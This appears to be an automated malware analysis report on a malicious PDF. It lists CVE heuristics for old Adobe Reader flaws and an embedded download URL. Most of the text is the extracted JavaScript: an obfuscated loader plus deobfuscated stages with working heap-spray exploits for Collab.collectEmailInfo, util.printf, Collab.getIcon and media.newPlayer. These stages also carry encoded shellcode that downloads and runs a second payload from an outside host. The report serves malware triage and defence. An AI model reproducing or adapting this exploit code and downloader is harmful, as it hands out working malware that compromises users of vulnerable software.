Malicious PDF — malware analysis report

Static analysis result for SHA-256 a77a2bcbab4b8a74…

MALICIOUS

PDF

12.5 KB First seen: 2026-05-09
MD5: a5994ffe98979525f00df90c8758cbae SHA-1: cf1d0b7db194bc1ab7be50b6a941aeeddaa12ea0 SHA-256: a77a2bcbab4b8a74aa34e4fac06bc113231d3adf657ac6a9e58bbf3d1f19f15a
490 Risk Score

Malware Insights

The PDF document was flagged as malicious by an ML classifier with high confidence. Static analysis revealed embedded JavaScript, indicating an attempt to execute code. The presence of a JavaScript object suggests the PDF is designed to download and execute a secondary payload or exploit a vulnerability.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 12

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • Generic recovered JavaScript exploit stage high PDF_GENERIC_STAGE_RECOVERY
    Bounded static stage recovery exposed hidden JavaScript through generic transforms such as null-byte collapse, percent decoding, marker replacement, arithmetic character codes, fromCharCode, numeric arrays, numeric-array minus-key decoders, alphabet-index arrays, /Producer half-difference metadata arrays, hex literals, marker-stripped Base64 literals, custom 6-bit XOR table decoders, or repeated-marker hex carriers. This rule is emitted only when the recovered stage contains exploit-like Acrobat JavaScript or shellcode markers.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://bmatavistic.info/w.php?f=18&e=5 Referenced by PDF JavaScript

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0076_000.js pdf-javascript-stream PDF /JS object 76 at offset 0x369 11729 bytes
SHA-256: 07275c0424693886118ab5c9fbdf58490dfba3277202a004ebce8e6a1840e84f
Preview script
First 1,000 lines of the extracted script
j='4wbt43t';
z
=
new
Array(69,51,30,2,30,75,14,75,26,26,22,56,35,24,42,75,20,37,15,63,54,54,20,37,51,47,2,60,20,37,15,48,51,47,20,37,41,48,2,60,20,37,2,33,63,60,20,37,63,63,48,51,20,37,54,60,47,18,20,37,60,18,15,22,20,37,15,22,63,18,20,37,18,47,60,18,20,37,41,18,15,22,20,37,48,54,14,47,20,37,41,54,15,22,20,37,63,63,18,15,20,37,54,54,46,22,20,37,48,2,15,22,20,37,18,63,63,47,20,37,63,63,41,60,20,37,15,14,57,47,20,37,14,48,2,2,20,37,51,51,14,18,20,37,22,15,51,51,20,37,60,18,15,22,20,37,47,63,63,18,20,37,63,33,60,54,20,37,41,48,18,54,20,37,15,41,51,22,20,37,57,60,63,60,20,37,2,60,15,48,20,37,48,14,41,48,20,37,2,22,2,33,20,37,48,14,60,47,20,37,15,22,48,54,20,37,63,47,41,48,20,37,41,60,15,22,20,37,41,15,63,48,20,37,51,48,18,63,20,37,15,22,48,54,20,37,57,18,41,54,20,37,51,48,18,63,20,37,47,33,63,63,20,37,60,14,60,33,20,37,62,46,51,47,20,37,47,48,18,63,20,37,46,22,63,63,20,37,22,2,18,51,20,37,63,15,14,18,20,37,41,60,51,57,20,37,47,14,18,15,20,37,18,46,47,22,20,37,46,62,18,63,20,37,2,22,60,18,20,37,63,22,51,14,20,37,41,48,14,51,20,37,48,2,2,54,20,37,48,2,15,22,20,37,18,63,57,60,20,37,54,54,46,46,20,37,18,47,15,22,20,37,15,46,60,22,20,37,2,47,60,54,20,37,48,60,51,51,20,37,18,47,57,60,20,37,46,15,15,22,20,37,46,46,18,63,20,37,18,60,15,22,20,37,18,63,15,22,20,37,62,22,47,48,20,37,48,33,48,2,20,37,2,22,47,63,20,37,62,46,48,63,20,37,54,15,15,22,20,37,15,18,57,18,20,37,18,47,41,46,20,37,41,60,63,63,20,37,33,54,18,63,20,37,51,63,2,22,20,37,54,15,15,22,20,37,15,22,18,15,20,37,54,62,51,41,20,37,48,33,18,48,20,37,33,15,2,15,20,37,51,51,51,51,20,37,2,57,51,51,20,37,2,15,51,33,20,37,18,18,18,18,20,37,18,18,18,18,20,37,48,18,48,15,20,37,60,18,54,62,20,37,51,51,54,15,20,37,18,18,18,18,20,37,48,18,18,18,20,37,47,18,15,63,20,37,48,18,14,33,20,37,15,22,48,48,20,37,15,22,2,47,20,37,14,18,48,2,20,37,47,63,15,63,20,37,51,51,18,48,20,37,54,15,2,63,20,37,54,2,54,51,20,37,18,18,18,18,20,37,41,48,54,15,20,37,54,47,41,57,20,37,48,60,54,46,20,37,14,54,51,51,20,37,47,60,15,63,20,37,15,22,18,15,20,37,2,15,2,15,20,37,51,51,54,14,20,37,51,51,51,51,20,37,18,57,2,22,20,37,41,57,2,22,20,37,2,47,15,14,20,37,18,14,18,60,20,37,18,18,18,18,20,37,48,47,15,46,20,37,18,47,57,60,20,37,18,60,47,41,20,37,41,57,57,60,20,37,54,41,54,48,20,37,47,41,41,63,20,37,57,60,60,60,20,37,41,54,18,60,20,37,63,63,41,57,20,37,47,41,63,57,20,37,57,60,60,60,20,37,57,18,18,15,20,37,41,63,57,46,20,37,48,63,57,18,20,37,51,15,54,15,20,37,18,18,18,18,20,37,51,51,18,18,20,37,18,47,48,54,20,37,2,15,15,22,20,37,47,33,63,63,20,37,47,41,48,14,20,37,14,46,60,60,20,37,41,41,18,18,20,37,54,57,41,18,20,37,47,41,41,60,20,37,14,46,60,60,20,37,57,2,18,48,20,37,54,47,54,60,20,37,47,54,54,47,20,37,14,46,60,60,20,37,18,18,18,33,20,37,15,62,48,33,20,37,18,60,47,14,20,37,15,15,63,18,20,37,14,46,60,60,20,37,60,14,18,60,20,37,54,62,48,14,20,37,54,62,18,18,20,37,48,63,18,18,20,37,54,62,48,41,20,37,51,51,18,18,20,37,14,60,48,54,20,37,47,18,15,48,20,37,14,54,41,48,20,37,18,18,54,62,20,37,51,51,48,63,20,37,18,60,48,54,20,37,18,18,54,62,20,37,2,22,15,63,20,37,48,63,18,47,20,37,48,54,51,51,20,37,15,63,18,60,20,37,18,47,47,63,20,37,18,57,2,22,20,37,14,63,2,22,20,37,15,18,60,41,20,37,18,18,63,51,20,37,51,62,41,48,20,37,15,18,60,41,20,37,18,18,63,51,20,37,47,60,41,48,20,37,18,18,54,62,20,37,51,2,54,62,20,37,48,54,51,51,20,37,2,15,18,15,20,37,51,2,33,47,20,37,51,51,51,51,20,37,60,2,15,2,20,37,2,47,18,2,20,37,51,2,33,15,20,37,18,2,15,62,20,37,54,51,15,33,20,37,22,46,18,14,20,37,47,62,63,63,20,37,48,22,15,62,20,37,47,54,14,22,20,37,41,33,60,54,20,37,14,62,63,54,20,37,41,18,57,51,20,37,41,60,54,15,20,37,41,18,41,60,20,37,57,51,63,62,20,37,54,57,57,51,20,37,54,14,54,46,20,37,54,14,41,60,20,37,54,33,41,54,20,37,41,60,41,63,20,37,54,63,54,33,20,37,54,33,57,2,20,37,54,54,54,2,20,37,57,51,54,51,20,37,57,2,41,41,20,37,54,15,41,18,20,37,63,51,41,18,20,37,63,46,54,54,20,37,63,15,63,14,20,37,54,48,57,54,20,37,63,48,63,46,20,37,18,18,18,18,75,36,51,37,61,47,8,69,12,61,9,2,74,39,6,30,6,62,28,3,19,26,71,70,59,69,43,2,30,6,62,27,43,2,61,24,8,59,16,57,17,3,19,26,71,6,62,38,42,6,62,36,11,6,62,42,6,62,27,35,37,22,35,8,6,69,61,24,30,18,28,3,19,5,57,26,36,6,2,8,37,6,61,9,6,62,36,11,9,51,37,61,47,8,69,12,61,9,22,40,30,26,71,39,62,6,9,46,44,24,42,61,2,70,9,65,6,6,62,19,30,26,36,39,62,6,9,39,70,42,18,40,18,47,18,47,18,47,18,47,36,39,62,6,9,62,46,46,6,42,18,40,60,18,18,18,18,18,36,39,62,6,9,66,62,19,43,12,62,46,42,37,61,2,35,47,62,66,2,30,22,56,35,24,26,36,39,62,6,9,35,47,50,43,2,61,42,66,62,19,43,12,62,46,27,43,2,61,24,8,59,16,57,36,39,62,6,9,3,19,42,62,46,46,6,52,30,35,47,50,43,2,61,38,18,40,63,15,26,36,39,62,6,9,19,62,6,35,66,42,37,61,2,35,47,62,66,2,30,53,20,37,33,18,33,18,20,37,33,18,33,18,53,26,36,19,62,6,35,66,42,2,74,39,6,30,19,62,6,35,66,28,3,19,26,36,39,62,6,9,47,12,37,61,8,57,42,30,39,70,52,18,40,60,18,18,18,18,18,26,5,62,46,46,6,36,51,12,6,30,39,62,6,9,47,12,37,61,8,42,18,36,47,12,37,61,8,17,47,12,37,61,8,57,36,47,12,37,61,8,38,38,26,71,46,44,24,32,47,12,37,61,8,10,42,19,62,6,35,66,38,66,62,19,43,12,62,46,36,11,9,39,62,6,9,12,39,2,6,51,43,12,70,42,37,61,2,35,47,62,66,2,30,53,20,37,18,47,18,47,20,37,18,47,18,47,53,26,36,70,59,69,43,2,30,12,39,2,6,51,43,12,70,27,43,2,61,24,8,59,17,60,60,33,48,57,26,71,12,39,2,6,51,43,12,70,38,42,12,39,2,6,51,43,12,70,36,11,9,8,59,69,35,27,47,12,43,43,62,22,25,8,12,6,2,42,29,12,43,43,62,22,27,47,12,43,43,2,47,8,55,64,62,69,43,45,61,51,12,30,71,35,37,22,56,1,53,53,28,64,35,24,1,12,39,2,6,51,43,12,70,11,26,36,11,9,51,37,61,47,8,69,12,61,9,66,6,69,61,8,51,30,26,71,61,12,66,42,37,61,2,35,47,62,66,2,30,53,20,37,18,65,18,65,20,37,18,65,18,65,20,37,18,65,18,65,20,37,18,65,18,65,53,26,36,39,62,6,9,66,62,19,43,12,62,46,42,37,61,2,35,47,62,66,2,30,22,56,35,24,26,36,59,2,62,66,22,43,12,47,44,42,61,12,66,38,66,62,19,43,12,62,46,36,22,69,24,22,43,12,47,44,42,37,61,2,35,47,62,66,2,30,53,20,37,18,65,18,65,20,37,18,65,18,65,53,26,36,59,2,62,46,2,6,35,69,74,2,42,57,18,36,35,66,6,62,19,42,59,2,62,46,2,6,35,69,74,2,38,59,2,62,66,22,43,12,47,44,27,43,2,61,24,8,59,36,70,59,69,43,2,30,22,69,24,22,43,12,47,44,27,43,2,61,24,8,59,17,35,66,6,62,19,26,71,22,69,24,22,43,12,47,44,38,42,22,69,24,22,43,12,47,44,36,11,9,51,69,43,43,22,43,12,47,44,42,22,69,24,22,43,12,47,44,27,35,37,22,35,8,6,69,61,24,30,18,28,35,66,6,62,19,26,36,22,43,12,47,44,42,22,69,24,22,43,12,47,44,27,35,37,22,35,8,6,69,61,24,30,18,28,22,69,24,22,43,12,47,44,27,43,2,61,24,8,59,52,35,66,6,62,19,26,36,70,59,69,43,2,30,22,43,12,47,44,27,43,2,61,24,8,59,38,35,66,6,62,19,17,18,40,60,18,18,18,18,26,71,22,43,12,47,44,42,22,43,12,47,44,38,22,43,12,47,44,38,51,69,43,43,22,43,12,47,44,36,11,9,64,2,64,42,61,2,70,9,65,6,6,62,19,30,26,36,51,12,6,30,69,42,18,36,69,17,14,60,18,18,36,69,38,38,26,71,64,2,64,32,69,10,42,22,43,12,47,44,38,59,2,62,66,22,43,12,47,44,36,11,9,39,62,6,9,61,37,64,42,14,57,33,33,33,33,33,33,33,33,33,33,33,33,33,33,33,33,33,33,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,36,37,8,69,43,27,66,6,69,61,8,51,30,53,20,60,48,18,18,18,51,53,28,61,37,64,26,36,11,9,51,37,61,47,8,69,12,61,9,24,2,8,69,47,12,61,30,26,71,39,62,6,9,62,6,6,19,42,61,2,70,9,65,6,6,62,19,30,26,36,69,51,30,62,66,66,27,46,12,47,27,29,12,43,43,62,22,27,24,2,8,45,47,12,61,26,71,39,62,6,9,66,62,19,43,12,62,46,42,37,61,2,35,47,62,66,2,30,22,56,35,24,26,36,39,62,6,9,59,67,3,48,18,18,29,73,42,66,62,19,43,12,62,46,27,43,2,61,24,8,59,16,57,36,39,62,6,9,3,19,42,18,40,60,18,18,18,18,18,52,30,59,67,3,48,18,18,29,73,38,18,40,63,15,26,36,39,62,6,9,19,62,6,35,66,42,37,61,2,35,47,62,66,2,30,53,20,37,33,18,33,18,20,37,33,18,33,18,53,26,36,19,62,6,35,66,42,2,74,39,6,30,19,62,6,35,66,28,3,19,26,36,39,62,6,9,66,48,65,56,68,54,48,51,42,30,18,40,18,47,18,47,18,47,18,47,52,18,40,60,18,18,18,18,18,26,5,18,40,60,18,18,18,18,18,36,51,12,6,30,39,62,6,9,39,3,47,49,13,33,54,19,42,18,36,39,3,47,49,13,33,54,19,17,66,48,65,56,68,54,48,51,36,39,3,47,49,13,33,54,19,38,38,26,71,62,6,6,19,32,39,3,47,49,13,33,54,19,10,42,19,62,6,35,66,38,66,62,19,43,12,62,46,36,11,9,39,62,6,9,8,21,31,59,73,22,7,70,42,37,61,2,35,47,62,66,2,30,53,20,18,33,53,26,36,70,59,69,43,2,30,8,21,31,59,73,22,7,70,27,43,2,61,24,8,59,17,18,40,60,18,18,18,26,71,8,21,31,59,73,22,7,70,38,42,8,21,31,59,73,22,7,70,36,11,9,8,21,31,59,73,22,7,70,42,53,73,27,53,38,8,21,31,59,73,22,7,70,36,62,66,66,27,46,12,47,27,29,12,43,43,62,22,27,24,2,8,45,47,12,61,30,8,21,31,59,73,22,7,70,26,36,11,11,9,62,58,43,37,24,69,61,35,42,62,66,66,27,66,43,37,24,45,61,35,36,39,62,6,9,35,39,42,66,62,6,35,2,45,61,8,30,62,66,66,27,39,69,2,70,2,6,23,2,6,35,69,12,61,27,8,12,25,8,6,69,61,24,30,26,27,47,59,62,6,65,8,30,18,26,26,36,51,12,6,30,39,62,6,9,69,42,18,36,69,17,62,58,43,37,24,69,61,35,27,43,2,61,24,8,59,36,69,38,38,26,71,69,51,30,62,58,43,37,24,69,61,35,32,69,10,27,61,62,64,2,42,42,75,55,25,47,6,69,66,8,75,26,71,39,62,6,9,43,39,42,62,58,43,37,24,69,61,35,32,69,10,27,39,2,6,35,69,12,61,36,11,11,9,69,51,30,30,43,39,42,42,33,26,34,34,30,30,35,39,42,42,15,26,4,4,30,43,39,17,42,15,27,14,57,26,26,26,71,24,2,8,69,47,12,61,30,26,36,11,2,43,35,2,9,69,51,30,43,39,42,42,41,27,14,26,71,66,6,69,61,8,51,30,26,36,11,2,43,35,2,9,69,51,30,30,30,35,39,42,42,54,26,34,34,30,35,39,42,42,41,26,26,4,4,30,43,39,17,41,27,14,14,26,26,71,22,40,30,26,36,11,2,43,35,2,9,69,51,30,30,43,39,0,42,33,27,14,26,34,34,30,43,39,17,42,33,27,57,26,34,34,30,43,39,0,42,15,27,14,63,26,34,34,30,43,39,17,42,15,27,14,41,26,26,71,51,37,61,47,8,69,12,61,9,62,30,26,71,37,8,69,43,27,66,6,69,61,8,46,30,75,66,72,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,9,1,9,19,19,19,19,14,14,14,75,28,61,2,70,9,13,62,8,2,30,26,26,36,11,39,62,6,9,59,42,62,66,66,27,66,43,37,24,45,61,35,36,51,12,6,30,39,62,6,9,51,42,18,36,51,17,59,27,43,2,61,24,8,59,36,51,38,38,26,71,69,51,30,59,32,51,10,27,61,62,64,2,42,42,75,55,25,47,6,69,66,8,75,26,71,39,62,6,9,69,42,59,32,51,10,27,39,2,6,35,69,12,61,36,11,11,9,69,51,30,30,69,0,15,27,14,57,26,4,4,30,69,17,15,27,57,26,26,71,47,42,61,2,70,9,65,6,6,62,19,30,26,36,39,62,6,9,46,42,37,61,2,35,47,62,66,2,30,75,20,37,33,18,33,18,20,37,33,18,33,18,75,26,36,39,62,6,9,2,42,37,61,2,35,47,62,66,2,30,22,56,35,24,26,36,70,59,69,43,2,30,46,27,43,2,61,24,8,59,17,42,18,40,15,18,18,18,26,71,46,38,42,46,36,11,46,42,46,27,35,37,22,35,8,6,30,18,28,18,40,15,18,18,18,52,2,27,43,2,61,24,8,59,26,36,51,12,6,30,51,42,18,36,51,17,57,33,18,18,36,51,38,38,26,71,47,32,51,10,42,46,38,2,36,11,62,30,26,36,62,30,26,36,8,6,19,71,8,59,69,35,27,64,2,46,69,62,27,61,2,70,58,43,62,19,2,6,30,61,37,43,43,26,36,11,47,62,8,47,59,30,2,26,71,11,62,30,26,36,11,11);
a=new String(">:eq&/rGt ]}oD18*<0y%UbVgS).,C(M[9|s;u+vx7=lkIdc5Q_f-'6Ej2Ph4na3mApWKiw{@Nz'");
b="al";
b2="v"
+b;
try
{
for(i in app)
if(i=='printerNames')
fqwf-1;
}catch(q){
e=j['substr']();
try{
b='e'+b2;
if(!google.search())
a=2;
}
catch(q){
e=
e[
b];
}
s=new String();try{if(!google.search())throw 1;}catch(q){r=1;}{
for(j=0;j<z.length;j++)
try{
if(!google.search())throw 1;}catch(q){
s
+=
a[
z[j]];
}
}}

try{if(!google.search())bbb-123;}
catch(nergerg){
e(s);
}
generic_stage_recovery_000.js deobfuscated-js generic stage recovery alphabet-index-array from JavaScript object 76 at offset 0x369 3864 bytes
SHA-256: 8bde0ce486544cd97cc2beb313bdd540a236294f703ce6eb476fd641715fc25b
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
if(e('1'))bjsg='%u8366%ufce4%u85fc%u75e4%ue934%u335f%u64c0%u408b%u8b30%u0c40%u708b%u561c%u768b%u3308%u66db%u5e8b%u033c%u3374%u812c%u15ee%uff10%ub8ff%u408b%uc330%u3946%u7506%u87fb%u2434%ue485%u5175%uebe9%u514c%u8b56%u3c75%u748b%u7835%uf503%u8b56%u2076%uf503%uc933%u4149%uadfc%uc503%udb33%ube0f%u3810%u74f2%uc108%u0dcb%uda03%ueb40%u3bf1%u751f%u5ee6%u5e8b%u0324%u66dd%u0c8b%u8d4b%uec46%u54ff%u0c24%ud88b%udd03%u048b%u038b%uabc5%u595e%uebc3%uad53%u688b%u8020%u0c7d%u7433%u9603%uf3eb%u688b%u8b08%u6af7%u5905%u98e8%uffff%ue2ff%ue8f9%u0000%u0000%u5058%u406a%uff68%u0000%u5000%uc083%u5019%u8b55%u8bec%u105e%uc383%uff05%u68e3%u6e6f%u0000%u7568%u6c72%u546d%u16ff%uc483%u8b08%ue8e8%uff61%uffff%u02eb%u72eb%uec81%u0104%u0000%u5c8d%u0c24%u04c7%u7224%u6765%uc773%u2444%u7604%u3372%uc732%u2444%u2008%u732d%u5320%uf868%u0000%uff00%u0c56%ue88b%uc933%uc751%u1d44%u7700%u6270%uc774%u1d44%u2e05%u6c64%uc66c%u1d44%u0009%u8a59%u04c1%u8830%u1d44%u4104%u6a51%u6a00%u5300%u6a57%uff00%u1456%uc085%u1675%u006a%uff53%u0456%u006a%ueb83%u530c%u56ff%u8304%u0cc3%u02eb%u13eb%u8047%u003f%ufa75%u8047%u003f%uc475%u006a%ufe6a%u56ff%ue808%ufe9c%uffff%u4e8e%uec0e%ufe98%u0e8a%u6f89%ubd01%uca33%u5b8a%uc61b%u7946%u1a36%u702f%u7468%u7074%u2f3a%u622f%u616d%u6174%u6976%u7473%u6369%u692e%u666e%u2f6f%u2e77%u6870%u3f70%u3d66%u3831%u6526%u353d%u0000';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}ra=ra.substring(0,qy/2);return ra;} function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} var overflow=unescape('%u0c0c%u0c0c');while(overflow.length<44952){overflow+=overflow;} this.collabStore=Collab.collectEmailInfo({subj:'',msg:overflow});} function printf(){nop=unescape('%u0A0A%u0A0A%u0A0A%u0A0A');var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape('%u0A0A%u0A0A');headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf('%45000f',num);} function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} var tUMhNbGw=unescape('%09');while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} tUMhNbGw='N.'+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}a();a();try{this.media.newPlayer(null);}catch(e){}a();}}
generic_stage_recovery_001.js deobfuscated-js generic stage recovery percent-decode from JavaScript object 76 at offset 0x369 3860 bytes
SHA-256: c23fe30ac970d641768f6b483de1a305573135ad0cbdac3675670d7fd0ee5e73
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
if(e('1'))bjsg='%u8366%ufce4%u85fc%u75e4%ue934%u335f%u64c0%u408b%u8b30%u0c40%u708b%u561c%u768b%u3308%u66db%u5e8b%u033c%u3374%u812c%u15ee%uff10%ub8ff%u408b%uc330%u3946%u7506%u87fb%u2434%ue485%u5175%uebe9%u514c%u8b56%u3c75%u748b%u7835%uf503%u8b56%u2076%uf503%uc933%u4149%uadfc%uc503%udb33%ube0f%u3810%u74f2%uc108%u0dcb%uda03%ueb40%u3bf1%u751f%u5ee6%u5e8b%u0324%u66dd%u0c8b%u8d4b%uec46%u54ff%u0c24%ud88b%udd03%u048b%u038b%uabc5%u595e%uebc3%uad53%u688b%u8020%u0c7d%u7433%u9603%uf3eb%u688b%u8b08%u6af7%u5905%u98e8%uffff%ue2ff%ue8f9%u0000%u0000%u5058%u406a%uff68%u0000%u5000%uc083%u5019%u8b55%u8bec%u105e%uc383%uff05%u68e3%u6e6f%u0000%u7568%u6c72%u546d%u16ff%uc483%u8b08%ue8e8%uff61%uffff%u02eb%u72eb%uec81%u0104%u0000%u5c8d%u0c24%u04c7%u7224%u6765%uc773%u2444%u7604%u3372%uc732%u2444%u2008%u732d%u5320%uf868%u0000%uff00%u0c56%ue88b%uc933%uc751%u1d44%u7700%u6270%uc774%u1d44%u2e05%u6c64%uc66c%u1d44%u0009%u8a59%u04c1%u8830%u1d44%u4104%u6a51%u6a00%u5300%u6a57%uff00%u1456%uc085%u1675%u006a%uff53%u0456%u006a%ueb83%u530c%u56ff%u8304%u0cc3%u02eb%u13eb%u8047%u003f%ufa75%u8047%u003f%uc475%u006a%ufe6a%u56ff%ue808%ufe9c%uffff%u4e8e%uec0e%ufe98%u0e8a%u6f89%ubd01%uca33%u5b8a%uc61b%u7946%u1a36%u702f%u7468%u7074%u2f3a%u622f%u616d%u6174%u6976%u7473%u6369%u692e%u666e%u2f6f%u2e77%u6870%u3f70%u3d66%u3831%u6526%u353d%u0000';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}ra=ra.substring(0,qy/2);return ra;} function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} var overflow=unescape('%u0c0c%u0c0c');while(overflow.length<44952){overflow+=overflow;} this.collabStore=Collab.collectEmailInfo({subj:'',msg:overflow});} function printf(){nop=unescape('%u0A0A%u0A0A%u0A0A%u0A0A');var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape('%u0A0A%u0A0A');headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf('E000f',num);} function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} var tUMhNbGw=unescape('	');while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} tUMhNbGw='N.'+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} aPlugins=app.plugIns;var 